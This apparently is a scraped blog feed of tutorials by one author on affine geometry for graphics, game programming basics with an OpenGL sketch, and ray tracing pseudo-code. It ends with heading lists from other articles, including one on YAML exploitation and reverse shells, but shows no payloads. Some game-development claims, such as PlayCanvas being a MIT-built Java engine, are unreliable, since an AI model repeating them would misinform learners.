In Euclidean geometry, there is no notion of infinity (in the same way that in standard arithmetic, you cannot divide by zero). But in graphics, we often need to deal with infinity. (For example, two parallel lines in 3-dimensional space can meet at a common vanishing point in a perspective rendering. Think of the point in the distance where two perfectly straight train tracks appear to meet. Computing this vanishing point involves points at infinity.) Projective geometry permits this.

Affine Geometry

The basic elements of affine geometry are:

scalars, which we can just think of as being real numbers
points, which define locations in space
free vectors (or simply vectors), which are used to specify direction and magnitude, but have no fixed position.

The term “free” means that vectors do not necessarily emanate from some position (like the origin), but float freely about in space. There is a special vector called the zero vector, 0⃗, that has no magnitude, such that v⃗+0⃗=0⃗+v⃗=v⃗.

Note that we did not define a zero point or “origin” for affine space. This is an intentional omission. No point special compared to any other point. (We will eventually have to break down and define an origin in order to have a coordinate system for our points, but this is a purely representational necessity, not an intrinsic feature of affine space.)

You might ask, why make a distinction between points and vectors? (Note that Unity does not distinguish between them. The data type Vector3 is used to represent both.) Although both can be represented in the same way as a list of coordinates, they represent very different concepts. For example, points would be appropriate for representing a vertex of a mesh, the center of mass of an object, the point of contact between two colliding objects. In contrast, a vector would be appropriate for representing the velocity of a moving object, the vector normal to a surface, the axis about which a rotating object is spinning. (As computer scientists the idea of different abstract objects sharing a common representation should be familiar. For example, stacks and queues are two different abstract data types, but they can both be represented as a 1-dimensional array.)

Because points and vectors are conceptually different, it is not surprising that the operations that can be applied to them are different. For example, it makes perfect sense to multiply a vector and a scalar. Geometrically, this corresponds to stretching the vector by this amount. It also makes sense to add two vectors together. This involves the usual head-to-tail rule, which you learn in linear algebra. It is not so clear, however, what it means to multiply a point by a scalar. (For example, the top of the Washington monument is a point. What would it mean to multiply this point by 2?) On the other hand, it does make sense to add a vector to a point. For example, if a vector points straight up and is three meters long, then adding this to the top of the Washington monument would naturally give you a point that is three meters above the top of the monument.

We will use the following notational conventions. Points will usually be denoted by lower-case Roman letters such as p, q, and r. Vectors will usually be denoted with lower-case Roman letters, such as u, v, and w, and often to emphasize this we will add an arrow (e.g., u⃗, v⃗, w⃗). Scalars will be represented as lower case Greek letters (e.g., α, β, γ). In our programs, scalars will be translated to Roman (e.g., a, b, c). (We will sometimes violate these conventions, however. For example, we may use c to denote the center point of a circle or r to denote the scalar radius of a circle.)

Affine Operations

The table below lists the valid combinations of scalars, points, and vectors. The formal definitions are pretty much what you would expect. Vector operations are applied in the same way that you learned in linear algebra. For example, vectors are added in the usual “tail-to-head” manner the following. The difference p−q of two points results in a free vector directed from q to p.

Point-vector addition r + v⃗ is defined to be the translation of r by displacement v⃗. Note that some operations (e.g. scalar-point multiplication, and addition of points) are explicitly not defined.

vector ← scalar · vector, vector ← vector/scalar   //scalar-vector multiplication
vector ← vector + vector, vector ← vector − vector //vector-vector addition
vector ← point − point                             //point-point difference
point ← point + vector, point ← point − vector     //point-vector addition
```



![vectors](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mjnvkp0p6zo4c4yr753s.png)

### Affine Combinations

Although the algebra of affine geometry has been careful to disallow point addition and scalar multiplication of points, there is a particular combination of two points that we will consider legal. The operation is called an affine combination.

Let’s say that we have two points _p_ and _q_ and want to compute their midpoint _r_, or more generally a point _r_ that subdivides the line segment p&#8407;q into the proportions _α_ and _**1 − α**_, for some _**α ∈ [0, 1]**_.

(The case _**α = 1/2**_ is the case of the midpoint). This could be done by taking the vector _q − p_, scaling it by _α_, and then adding the result to _p_. That is,

_**r = p + α(q − p)**_

Another way to think of this point _r_ is as a _weighted average_ of the endpoints _p_ and _q_. Thinking of _r_ in these terms, we might be tempted to rewrite the above formula in the following (technically illegal) manner:

_**r = (1 − α)p + αq**_

Observe that as α ranges from _0_ to _1_, the point r ranges along the line segment from _p_ to _q_. In fact, we may allow to become negative in which case _r_ lies to the left of _p_, and if _**α > 1**_, then _r_ lies to the right of _q_. The special case when _**0 ≤ α ≤ 1**_, this is called a _convex combination_.

In general, we define the following two operations for points in affine space.

#### Affine combination

Given a sequence of points _**p<sub>1</sub>, p<sub>2</sub>, . . . , p<sub>n</sub>,**_ an affine combination is any sum of
the form;

_**α<sub>1</sub>p<sub>1</sub> + α<sub>2</sub>p<sub>2</sub> + . . . + α<sub>n</sub>p<sub>n</sub>**_

where _**α1, α2, . . ., αn**_ , are scalars satisfying _**Σ<sub>i</sub>α<sub>i</sub> = 1**_ .


![vector2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/asgwgikf8x7gh4zxh5xq.png)

#### Convex combination

Is an affine combination, where in addition we have _**α<sub>i</sub> ≥ 0**_ for _**1 ≤ i ≤ n**_.

Affine and convex combinations have a number of nice uses in graphics. For example, any three noncollinear points determine a plane. There is a _1–1_ correspondence between the points on this plane and the affine combinations of these three points. Similarly, there is a _1–1_ correspondence between the points in the triangle determined by the these points and the _convex  combinations_ of the points. In particular, the point **(1/3)p + (1/3)q + (1/3)r** is the centroid of the triangle.

We will sometimes be sloppy, and write expressions like **(p + q)/2**, which really means **(1/2)p + (1/2)q**. We will allow this sort of abuse of notation provided that it is clear that there is a legal affine combination that underlies this operation.

To see whether you understand the notation, consider the following questions. Given three points in the 3-space, what is the union of all their affine combinations? (Ans: the plane containing the 3 points.) What is the union of all their convex combinations? (Ans: The triangle defined by the three points and its interior.)

#### Euclidean Geometry

In affine geometry we have provided no way to talk about angles or distances. Euclidean geometry is an extension of affine geometry which includes one additional operation, called _the inner product_.

The inner product is an operator that maps two vectors to a scalar. The product of **u&#8407;** and **v&#8407;** is denoted commonly denoted (**u&#8407;**, **v&#8407;**). There are many ways of defining the inner product, but any legal definition should satisfy the following requirements

**Positiveness:**  (**u&#8407;**, **u&#8407;**) **≥ 0** and (**u&#8407;**, **u&#8407;**) **=** **0** if and only if **u&#8407; = 0&#8407;**.


**Symmetry:** (**u&#8407;**, **v&#8407;**) = (**v&#8407;**, **u&#8407;**).

**Bilinearity:** (**u&#8407;**, **v&#8407;** **+ w&#8407;**) **=** (**u&#8407;**, **v&#8407;**) **+** (**u&#8407;**, **w&#8407;**), and (**u&#8407;**, **α&#8407;v**) = **α**(**u&#8407;**, **v&#8407;**). (Notice that the symmetric forms follow by symmetry.)

> For more information, you can take a look at the explanations about linear algebra. Here I leave some useful resources for you.
> - [MATH 233 - Linear Algebra I Lecture Notes | Cesar O. Aguilar](https://www.geneseo.edu/~aguilar/public/assets/courses/233/main_notes.pdf)
> - [Linear Algebra in Twenty Five Lectures | Tom Denton and Andrew Waldron](https://www.math.ucdavis.edu/~linear/linear.pdf)
> - [The Geometry of Linear Equations | MIT Open Course Ware](https://ocw.mit.edu/courses/mathematics/18-06sc-linear-algebra-fall-2011/ax-b-and-the-four-subspaces/the-geometry-of-linear-equations/)
> - [Notes on Linear Algebra | Peter J. Cameron](http://www.maths.qmul.ac.uk/~pjc/notes/linalg.pdf)
> - [MA106 Linear Algebra lecture notes | Martin Bright and Daan Krammer](https://homepages.warwick.ac.uk/~masbal/LinAlg1011/lectures.pdf)

We will focus on a the most familiar inner product, called the dot product. To define this, we will need to get our hands dirty with coordinates. Suppose that the d-dimensional vector **u&#8407;** is represented by the coordinate vector (**u<sub>0</sub>, u<sub>2</sub>, . . . , u<sub>d-1</sub>**). Then define;

![define](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/knidhqp0s40fw1hscvl6.png)

Note that inner (and hence dot) product is defined only for vectors, not for points. Using the dot product we may define a number of concepts, which are not defined in regular affine
geometry. Note that these concepts generalize to all dimensions.

**Length:** of a vector ~v is defined to be **||v&#8407;|| =√v&#8407; · v&#8407;**.

**Normalization:** : Given any nonzero vector **v&#8407;**, define the normalization to be a vector of unit length that points in the same direction as **v&#8407;**, that is, **v&#8407;**/||**v&#8407;**||. We will denote this by **&#7805;**.

**Distance between points:** _dist(p, q) = ||p − q||_

**Angle:** between two nonzero vectors **u&#8407;** and **v&#8407;** (ranging from _**0**_ to _**π**_) is


![equ](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zipnkgvea78t6tiklfqj.png)

This is easy to derive from the law of cosines. Note that this does not provide us with a signed angle. We cannot tell whether **u&#8407;** is clockwise our counterclockwise relative to **v&#8407;**. We will discuss signed angles when we consider the cross-product.

**Orthogonality:** **u&#8407;** and **v&#8407;** are orthogonal (or perpendicular) if **u&#8407; · v&#8407; = 0**

**Orthogonal projection:** Given a vector **u&#8407;** and a nonzero vector **v&#8407;**, it is often convenient to decompose **u&#8407;** into the sum of two vectors **u&#8407; =u&#8407;<sub>1</sub> + u&#8407;<sub>2</sub>**, such that **u&#8407;<sub>1</sub>** is parallel to **v&#8407;** and **u&#8407;<sub>2</sub>** is orthogonal to **v&#8407;**.


![equ2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tvngow2hmghs9o213us6.png)

(As an exercise, verify that **u&#8407;<sub>2</sub>** is orthogonal to **v&#8407;**.) Note that we can ignore the denominator if we know that **v&#8407;** is already normalized to unit length. The vector **u&#8407;<sub>1</sub>** is called the orthogonal projection of **u&#8407;** onto **v&#8407;**.


![figure](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o75eppj5r26kp49xhfgc.png)

Game Programming Fundamentals

Fatih Küçükkarakurt — Sun, 23 Jan 2022 15:24:14 +0000

If you are looking for an answer to the question of How to Develop a Game, let's think together. First of all, we are not going to talk about the need to learn a software language or game engines to program games. In fact, the game industry is a field that includes many different industries such as mathematics, art, psychology and even cinema. In other words, it is never enough to master game engines and learn a software language. So what do we need to know? Let's see together.

Game Mechanics

One of the biggest reasons why games reach huge audiences today is Game Mechanics. In order to better understand the game mechanics, we have to think of a system. There are various sub-parts that this system controls. To understand this better, you can examine the diagram below.

System

As you can see in the diagram above, the system takes on the following tasks:

Runs the load and save part to load the files.
It then enables the intro animation to run using the audio and graphic parts.
During the use of the game interface, user inputs ensure that the graphics and sound parts work in harmony.
Finally, it ensures that the graphics, sound, user input, artificial intelligence and network parts work in harmony in the game.

Resource

The Resource describes the necessary files for the game located on the hard disk.

These files contain configuration files that describe the configuration in which the game will run by default.
If available, it contains the video file for the intro that will be played when the game first starts.
Contains files where the user gets information about the game before the game.
It contains the files containing the graphics, music and chapter information in the game.

Game Model

It is the state of the game graphics, music and text files loaded into memory from the resource in memory.
Image files are stored in memory or in the texture memory of the video card.
Section, score, etc. information is kept in variables and data structures.

Upload and Save

This part is the particle that takes the graphics, music and other information from the source and puts it into the memory (game model) and undertakes the process of saving it back to the source in case of new score situations or when the game is recorded.

Upload: Configuration files, Chapter Files, Image Files, Music and Sound Files, 3D Model Files, Video Files, Help Files.

Save: Score files and other documents to be saved during the game

Graphics

This is the most important and hardest part of the game in my opinion. Because it is impossible to have a game without visuals. This part is responsible for painting the screen.

Playing the Video
Displaying the Game Interface
Viewing Score, Help and Configuration Information
Displaying the Game's Own Graphics

User Inputs

A game without interaction would be like a movie. User Interaction is definitely one of the sine qua non of game mechanics that connects users to the game. The system is in constant interaction with the user. Keyboard, mouse etc. this is where we're going to use the equipment.

Using the Game Interface
Reviewing Help Files
Reviewing Score Files
Configuring (System and Game Related)
Controlling the user's character in the game

Sound and Music

If you want to understand the importance of sound and music, please turn off the sound while playing games. You will notice that the value of the game drops when there is no sound. We can say that the value of the sound is as valuable as the graphics of the game.

Music playing in the background
Sound effects for collisions and movements

Artificial intelligence (AI)

Let's consider the intelligence level of the enemies in the game. The more humanoid they look, the more intelligent the behavior and the more fun the game will be. It doesn't just have to be the enemy. In an open world game, citizens passing by look at their wristwatches, wipe the sweat on their foreheads in sunny weather, give way to you, even argue with you, attack you when you treat animals badly, etc. All of them can go into the subject of artificial intelligence.

Network Listening and Sending

This part is the part that allows the game to be played by more than one person. In this part, the parties send information to the game server and the information received by listening to the server is updated in the game.

Establishing the Session: The players who will participate in the game agree on which protocol and on which port they will communicate at first.

Packet Delivery: The moves made in the game are sent to the server in packets. Then the server distributes it to all parties after making the necessary change.

Package Pickup: Simultaneously, the parties are aware of the changes made by listening to the server and reflect this to the game.

Hardware

Computer game lovers always want better graphics, music, physics and better artificial intelligence. For all this to happen, one of two conditions must be met.

software optimization should be done, new algorithms should be found,
appropriate equipment should be used and the processing speed should be increased.

Today, new algorithms and code optimization progress much slower than the speed at which hardware develops. Now, instead of new algorithms, the software, focuses on issues such as reusability, code openness, code security (encapsulation). The hardware is trying to increase the processor speed and memory capacity as much as possible for these new requests.

In this section, we can talk about many different hardware such as the following:

graphics cards,
processor,
motherboard,
sound cards,
monitors, speaker and new input devices etc…

Programming Language

Programming language is a computer language that offers the opportunity to develop commands and software in a certain standard form. Thanks to programming languages, it is possible to control what kind of output a computer can give in which situation. In short, computers and humans can communicate efficiently thanks to programming languages.

Since our topic is game development, we will focus on this subject. Depending on what you want to do and create, you can develop games with all programming languages. There will be those who insist you learn C++. This is absolutely not true. You can make great games with JavaScript, C#, Python or even C. A choice-based adventure game that only works on the console screen can be great. But if you want to make games that are more professional and reach more people, please keep reading.

C++

Since C++ is a high-level language that will teach you the basics of object-oriented programming, it's a good idea to learn it. It is also the language used to create console and Windows games. Also, it uses OpenGL or a similar framework (If you continue reading the guide, I will give a detailed explanation about OpenGL).

C++ is a fast compiling programming language. You also get a lot of say in memory management. It has extensive libraries useful for designing and powering complex graphics. There's a lot of literature for you to improve on, because it's been the programmer's language of choice for decades, and you'll find online communities ready and willing to answer your questions.

It would be a lie if we said that C++ is easy to learn. It is difficult to learn compared to other programming languages. But it can be useful not only because C++ games are easy to distribute on various platforms, but also because if you know C++ you can quickly learn C# and other object-oriented languages. Both C++ and C# are only two of the most actively used programming languages today.

To sum it up, learning C++ is a good choice if you want to create games from scratch.

C♯

The benefit of C# lies in the XNA framework. This is a set of tools and workspaces by Microsoft that are particularly suitable for games on Xbox or Windows platforms.

If you compare C++ and C#, you might consider this example. C++ is like a manual transmission car. C# is like an automatic transmission car. Let's consider the Unity game engine. If you use the Unity game engine, you have to code the scripts in C#. However, the core of this game engine is C++ code.

The platform you target, the game you want to make, the game engine you will use, etc. factors will affect the language you choose. But yes learning C# would be a great idea.

JAVA

Game programmers often use Java because Java supports multithreading and sockets. Multithreading uses less memory and makes the most of available CPU without blocking the user while intensive processes are running in the background. Sockets help in the creation of multiplayer games. Also, Java runs in a virtual machine so the game is easier to deploy.

Also, if you want to develop applications and games for Android platforms, Java would be a great option.

JavaScript

Making games for browsers is very different from making games for consoles. If you need 3D graphics or complex graphics and a content management system, you will also need SVG or WebGL.

Flash animation using the programming language ActionScript was common for browser games in the past, but Flash is finished.

A WebGL-enabled Java engine such as PlayCanvas, developed at MIT, allows users to simultaneously work in the game with an online browser and publish to multiple platforms.

Moreover, there are great game engines that you can use JavaScript. To give an example of these, we can definitely say PhaserJS.

APIs

What is API? It stands for Application Programming Interface. They are libraries that help us perform specific tasks with a number of functions they provide.

The APIs we will use in our games will be libraries that allow us to take advantage of them by providing an interface to the graphics and sound hardware. For example OpenGL, GLUT, GLU DirectX (Direct3D, DirectDraw, DirectShow, DirectInput, DirectPlayer, DirectSound, DirectMusic), Java2D, Java3D, JavaMusic, JavaNET, JavaMedia, FMOD, etc…

I think it will be very useful to learn the OpenGL library. So let's talk a little bit about OpenGL.

OpenGL

OpenGL resides on graphics hardware and provides an interface to that hardware. This interface contains 250 different instruction sets. 200 of them are in the OpenGL core and the other 50 are in the OpenGL Utility Library. You can develop 3D interactive applications thanks to the OpenGL graphics API.

OpenGL is a platform independent API. It has been designed as an interface that performs a command flow that is run consecutively. In order to ensure this quality, it does not include commands such as windowing tasks and obtaining user input, but instead benefits from the windowing and input services provided by the platform it uses to OpenGL. Likewise, it does not contain commands for creating high-level 3D objects. But with the commands it provides, it can create an automobile, plane or molecule surface. To create the desired models of this type with OpenGL, we make use of the points, lines and polygons in the small toolkit we call the geometric primitive.

Of course, the creation of a better graphics system can be built on top of OpenGL's core structures. OpenGL Utility Library (GLU) has many high-level modeling features, Quadratic surfaces, NURBS curve and surface rendering.

What are the Operations Performed During Rendering?

In the following 4 stages, you can briefly see what processes are happening during the rendering process.

Creating shapes and geometric objects with mathematical expressions (OpenGL has tools to create primitive objects such as point, line, polygon, image, bitmap)
Arrangement of objects in three-dimensional plane and adjustment of perspective
Calculating the color values of the objects, applying them to the screen by taking into account the light and texture values
The conversion of the definitions and color values of all object values to pixel values, briefly the realization of the rasterization event.

A Simple OpenGL Code Example

Doing so many options and complex operations with the OpenGL graphics system can make OpenGL complex. But basically, the structure of a program made with OpenGL is very simple. What you're doing is actually defining certain states and putting a control mechanism about which objects OpenGL should render and how it should render.

You can actually think of OpenGL as a Real Time Rendering Software. Before introducing this programming construct, let's try to grasp some terms.

main(){
       initializeAwindowPlease( );
             glClearColor(0.0, 0.0, 0.0, 0.0);
             glClear(GL_COLOR_BUFFER_BIT)
             glColor3f(1.0, 1.0, 1.0);
             glOrtho(0.0, 1.0, 0.0, 1.0, -1.0, 1.0)
             glBegin(GL_POLYGON)
                    glVertex3f(0.25, 0.25, 0.0)
                    glVertex3f(0.75, 0.25, 0.0)
                    glVertex3f(0.75, 0.75, 0.0)
                    glVertex3f(0.25, 0.75, 0.0)
             glEnd( );
             glFlush( )
             UpdateTheWindowAndCheckForEvents( );

Summary

First of all, thank you very much to those who have come this far. Our conclusion from this article should be:

Game development is not just about learning programming languages and game engines.

You have to master a lot of technology. Among the technologies we did not mention are programs such as Adobe Premier, Adobe After Effects, 3D Studio Max, Lightwave, Maya and Poser. Learning and mastering each of these is only possible with experience.

That's why we talked about hardware and OpenGL. Love your computer and keyboard rather than focusing on one thing. The best and only rule of thumb to master game development is this:

Be curious, read a lot and try without fear.

Ray Tracing in Game Development

Fatih Küçükkarakurt — Mon, 10 Jan 2022 16:04:54 +0000

In this article we discuss the topic of ray tracing in computer graphics. Ray tracing has a very important role in computer graphics, even in video games to some extent, which we discuss throughout this article and guide. The purpose of this article is to not only talk about ray tracing but to implement a simple CPU ray tracer using C++. Having an understanding of game mathematical topics such as vectors, rays, primitives, and geometry makes it possible to create a simple ray tracer with relatively little code.

This article discusses the various types of ray tracing algorithms as well as real-time ray tracing efforts that are taking place today. A few years ago real-time ray tracing was not a commercially reasonable possibility, but today it is a reality, although it still has a ways to go before the industry can use it for the entire rendering solution of a game.

The purpose of this article is to provide experience with a hands-on simple CPU ray tracer. Later in this guide we will use the underlying ideas behind ray tracing to implement advanced effects that are seen in modern video games such as precomputed lighting and shadowing effects.

Ray Tracing In Computer Graphics

One of the oldest techniques used for generating rendered images on the CPU is ray tracing. Ray tracing is used in many different entertainment industries and has been for a number of decades now. One of the most well-known uses of ray tracing–based algorithms is in animated movies such as Teenage Mutant Ninja Turtles

Ray tracing is based on the idea that you can perform ray intersection tests on all objects within a scene to generate an image. Every time a ray hits an object the point of intersection is determined. If that point of intersection falls within the view volume of the virtual observer, then the pixels on the screen image that is being rendered are colored based on the object’s material information (e.g., color, texture, etc.) and the scene’s properties (e.g., fog, lighting, etc.).

An example of this is shown below.

Forward Ray Tracing

Different types of ray tracing are used in computer graphics. In the first type of ray tracing that will be discussed, known as forward ray tracing, mathematical rays are traced from a light source into a 3D scene. When a ray intersects an object that falls within the viewing volume, the pixel that corresponds to that point of intersection is colored appropriately. This method of ray tracing is a simple attempt at simulating light rays that strike surfaces in nature, although far more simplistic and general than anything seen in the real world.

Tracing rays in this sense means starting rays at some origin, which in the case of forward ray tracing would be the light position, and pointing those rays outward into a scene in different directions. The more rays that are used, the better are the chances of them hitting objects that fall within the viewing volume.

A simplistic example of this is shown below.

To create a simple forward ray tracer, for example, one that traces spheres, one generally requires the following steps:

Define the scene’s spheres and light sources.
For every light source send a finite number of rays into the scene, where more rays equal a better potential for quality but at a cost of performance.
For every intersection, test if the intersection has occurred within the viewing volume.
For every intersection, test that it does fall within the viewing volume and shade the image pixel for that ray based on the sphere’s and light’s (also scene’s) properties.
Save the image to a file, display it to the screen, or use it in some meaningful way to your application.

This quick overview of forward ray tracing does not appear complex at first glance, and a ray tracer that did only what was just described would be pretty bare-bones. The pseudo-code used to perform the following list of steps could look something like the following:

function Forward_RayTracing(scene)
{
    foreach (light in scene)
    {
        foreach (ray in light)
        {
            closestObject = null;
            minDist = "Some Large Value";
            foreach (object in scene)
            {
                if (ray->Intersects(object) && object->distance <
                                                   minDist)
                {
                    minDist = object->distance;
                    point_of_intersect = ray->Get_Intersection();
                    closestObject = object;
                }
            }
            if (Is_In_View(point_of_intersect) && closestObject !=
                                                   NULL)
            {
                Shade_Pixel(point_of_intersect, light,
                            closestObject);
            }
        }
    }
    Save_Render("output.jpg");
}

Assuming that you have a scene object that holds a list of lights and geometric objects, a ray structure, a function to test if a point of intersection falls on a pixel of the rendered image, and a function to shade that pixel based on the scene’s information, then you can create a complete, yet simple, ray traced image using the pseudo-code above. The pseudocode is just an example and does not take into account textures and other material properties, shadows, reflections, refractions, and other common effects that are used in ray tracing rendering engines.

If you were to code an application that uses forward ray tracing, you would quickly realize that many problems are associated with the technique. For one, there is no guarantee that the rays sent from a light source would eventually strike an object that falls within the viewing volume. Also, there is no guarantee that every pixel that should be shaded will be shaded, which would only happen if one of the rays that were traced from the light sources happened to strike it.

In nature, light rays bounce around the environment many times while moving at the speed of light. There are so many light rays in nature that, eventually, every surface is hit. In the virtual world we need to send more and more distributed rays throughout a scene to shade an entire environment. The processing of each of these rays is not done at the speed of light, and the processing of one ray could be costly on its own. When using forward ray tracing, we have to find some way to ensure that all screen pixels that should be shaded have at least one ray strike them so that the point of intersection is shaded and is visible in the final render

The biggest problem with forward ray tracing is that the more rays we use, the slower the performance is, and to have the potential for an increase in quality, a lot of rays need to be used. In the pseudo-code we have to trace every object in the scene against every ray for every light. If there were 100 lights, each sending 10,000 rays into the scene, a program would need millions of intersection tests for every object in the scene, and this would only be for one rendered frame that does not use any techniques that cause additional rays to be generated. The number of rays can increase exponentially if reflections are also included, which cause rays to bounce off of objects back into the scene. Global illumination techniques that use light bounces in the calculation of lights and shadows also dramatically increase the number of rays and information used to complete the scene. Other techniques including anti-aliasing, refractions, volumetric effects, and so forth increase this effort exponentially. With the required number of operations needed for even a simple scene, it should be no wonder why ray tracing has traditionally been a technique that was only used for non–real-time applications.

Forward ray tracing can be improved. We can try to limit the number of rays that are used; we can use spatial data structures to cull out geometry from a scene for each ray test and other such improvements, but the application will still be performing many tests that end up being a waste of CPU processing time, and it would be very difficult to determine which rays would be wasted and which ones would not. Optimizing a forward ray tracer is also not a trivial task and could become quite tricky and complex. Even with optimizations, the processing time is still quite high compared to the next type of ray tracing we will discuss.

The downsides to using forward ray tracing include the following:

CPU costs are far beyond other methods used to perform ray tracing on the same information
The quality of the rendered result depends highly on the number of rays that are traced in the scene, many of which could end up not affecting the rendered scene.
If not enough rays are used or if they are not distributed effectively, some pixels might not be shaded, even though they should be.
It cannot be reasonably done in real time.
It is generally obsolete for computer and game graphics.
It can be harder to optimize.

The major problem with forward ray tracing is that regardless of how many rays we generate for each light, only a very small percentage will affect the view (i.e., will hit an object we can see). This means we can perform millions or billions of useless intersection tests on the scenes. Since a scene can extend beyond the view volume and since factors such as reflections can cause rays to bounce off surfaces outside the view and then back into it (or vice versa), developing algorithms to minimize the number of wasted light rays can be very difficult. Plus, some rays might start off striking geometry that is outside the view volume and eventually bounce around and strike something that is in the view volume, which is common for global illumination.

The best way to avoid the downsides of forward ray tracing is to use backward ray tracing. In the next section we look into backward ray tracing and implement a simple ray tracer that supports spheres, triangles, and planes.

Backward Ray Tracing

Backward ray tracing takes a different approach than that discussed so far in this chapter. With backward ray tracing the rays are not traced from the light sources into the scene, but instead they are traced from the camera into the scene. In backward ray tracing every ray that is sent is traced toward each pixel of the rendered scene, whereas in forward ray tracing an application sends thousands of rays from multiple light sources. By sending the rays from the camera into the scene, where each ray points toward a different pixel on an imaginary image plane, they are guaranteed to be shaded if the ray intersects any objects.

A visual of backward ray tracing is shown below.

Assuming that one ray is used for every screen pixel, the number of minimum rays depends on the image’s resolution. By sending a ray for each pixel the ray tracer can ensure that all pixels are shaded if that pixel’s ray intersects anything. In forward ray tracing the traced rays do not necessarily fall within the view volume all the time. By sending rays from the viewer in the direction the viewer is looking, the rays originate and point within the view volume. If there are any objects along that path, the pixel for that ray will be shaded appropriately.

The algorithm to take the simple forward ray tracer from earlier in this chapter and convert it to a backward ray tracer can follow these general steps:

For each pixel create a ray that points in the direction of the pixel’s location on the imaginary image plane.
For each object in the scene test if the ray intersects it.
If there is intersection, record the object only if it is the closest object intersected.
Once all objects have been tested, shade the image pixel based on the point of intersection with the closest object and the scene’s information (e.g., object material, light information, etc.).
Once complete, save the results or use the image in some other meaningful way.

The algorithm discussed so far for both types of ray tracers does not take into account optimizations or factors such as anti-aliasing, texture mapping, reflections, refractions, shadows, depth-of-field, fog, or global illumination.

The steps outlined for a simple backward ray tracer can be turned into pseudo-code that may generally look like the following:

function Backward_RayTracing(scene)
{
    foreach (pixel in image)
    {
        ray = Calculate_Ray(pixel);
        closestObject = null;
        minDist = "Some Large Value";
        foreach (object in scene)
        {
            if (ray->Intersects(object) && object->distance <
                                               minDist)
            {
                minDist = object->distance;
                point_of_intersect = ray->Get_Intersection();
                closestObject = object;
            }
        }
        if (closestObject != null)
        {
            foreach (light in scene)
            {
                Shade_Pixel(point_of_intersect, light,
                            closestObject);
            }
        }
    }
    Save_Render("output.jpg");
}

Backward ray tracing is also known as ray casting.

In the pseudo-code above the simple backward ray tracing algorithm is similar to the one for forward ray tracing but with a number of key differences. The major difference between the two can be seen with the start of the algorithm. In a forward ray tracer we trace X amount of rays from each light source. In the backward ray tracer a ray traveling toward each screen pixel is traced, which greatly reduces the number of rays used in a scene compared to forward ray tracing without sacrificing the final quality at all, assuming the same conditions exist in both scenes.

The breakdown of the lines of code in the pseudo-code sample for the backward ray tracer is as follows:

For each pixel that makes up the rendered image, create a direction that points from the viewer’s position toward the current pixel, which is a vector built from the pixel’s X and Y index and a constant value used for the depth.
Normalize this direction and create a ray out of it based on the viewer’s position.
For each object in the scene, test if the ray intersects any of the objects and record the object closest to the viewer.
If an object was found to have intersected the ray, color the pixel that corresponds to the ray by adding the contributions of all lights that affect this object.
Once complete, save the image to a file, present it to the screen, or use it in some meaningful manner.

The pseudo-code samples do not describe complex ray tracers or ray tracing–related algorithms. Although simple in design, the pseudo-code ray tracers do provide an impressive look into what it takes to create a ray tracer, and they should give you an idea of the amount of work, CPUwise, done by the processor even for simple ray tracing. The key idea is to use ray intersections to gradually build the rendered image. Most ray intersections are CPU expensive, and doing hundreds of thousands or even millions of these tests can take a lot of processing power and time. The number of objects that need to be tested for can also greatly affect the number of intersection tests that must be performed.

When you create a ray based on a screen pixel, the origin of the ray can be based on the viewer’s position, for example, and the direction can be based on the pixel’s width and height location on the imaginary image plane. A pixel value of 0 for the width and 0 for the height would be the first pixel, normally located at the upper-left corner of the screen. A pixel with the width that matches the image’s width resolution and a height that matches the height resolution would be the lower-right corner of the image. All values in between would fall within the image’s canvas.

By using the pixel’s width, height, and some constant for the depth (let’s use 255 for example), a vector can be built and normalized. This vector needs to be unit-length to ensure accurate intersection tests. Assuming a variable x is used for the pixel’s width location and a variable y is used for the height, the pseudo-code to build a ray based on the pixel’s location may look like the following, which could take place before object intersection tests:

ray.direction = Normalize(Vector3D(x - (width / 2),
                                   y - (height / 2),
                                   255));

Note that the above sample adjusts x and y so that the origin marks the center of the image and the middle of the screen, which marks the middle of the camera, is pointing straight forward. Once you have this ray, you can loop through each of the objects in the scene and determine which object is closest. The object’s information and the point of intersection are used to color the pixel at the current location.

Forem: Fatih Küçükkarakurt

Review of CWE-843 Type Confusion Vulnerability and Exploit

Understanding Type Systems and Memory Layouts

Accessing Resources Using Incompatible Types

Why This Matters

From Logical Flaws to Arbitrary Memory Access

Memory Reinterpretation in Action

Be Careful When Using YAML in Python! There May Be Security Vulnerabilities

Exploitation via Arbitrary Command Execution

Example Payload

Reverse Shell Exploitation

Base64 Encoding for Obfuscation

Example

Mitigation Techniques

How Does Deep Learning Work? Can You Write Simple Deep Learning Code at Home?

Theoretical Foundations of Neural Networks

1. Neural Network Architecture

2. The Neuron Model

3. Activation Functions

4. Forward Propagation

5. Loss Functions

6. Backpropagation and Gradient Descent

7. The Universal Approximation Theorem

8. Challenges and Limitations

Why Implement Neural Networks in ANSI C and Python?

1. Pedagogical Value

2. Full Control and Customization

3. Performance Insights

4. Bridging Theory and Practice

5. Cross-Language Expertise

6. Learning from First Principles

7. Preparing for Edge Computing

8. Encouraging Innovation Beyond Frameworks

Mathematical Foundations

Linear Algebra for Neural Networks

1. Representing Data with Vectors and Matrices

2. Weight Matrices and Linear Transformations

3. Activation Computations Using Dot Products

4. Matrix Multiplication for Layer-Wide Computations

5. Tensor Algebra in Deep Networks

6. Eigenvalues and Singular Value Decomposition (SVD)

7. Numerical Stability and Conditioning

Activation Functions

1. Sigmoid Activation Function

2. Hyperbolic Tangent (tanh)

3. Rectified Linear Unit (ReLU)

4. Leaky ReLU

5. Parametric ReLU (PReLU)

6. Exponential Linear Unit (ELU)

7. Softmax Function

8. Comparison of Activation Functions

Backpropagation: Derivation and Explanation

1. Problem Setup

2. Forward Propagation

3. Loss Function

4. Backpropagation: Computing Gradients

4.1. Gradient of the Loss with respect to the Output Layer

4.2. Gradient of the Loss with respect to the Hidden Layer

4.3. Gradient of the Loss with respect to the Hidden Layer Weights

5. Weight Updates

Weight Initialization Techniques

Importance of Weight Initialization

Random Initialization

Xavier/Glorot Initialization

He Initialization

LeCun Initialization

Uniform vs. Normal Distribution

Bias Initialization

Bias vs. Weight Initialization for Specific Activation Functions

Batch Normalization and Weight Initialization

Python Implementation

Class Definition: NeuralNet

Initialization Method: __init__

Activation Functions: sigmoid and sigmoid_derivative

Training Method: train

Prediction Method: predict

Main Program

Explanation of the Output

ANSI C Implementation

Header File: neural_net.h

Class Definition: `NeuralNet`

Initialization Method: `init`

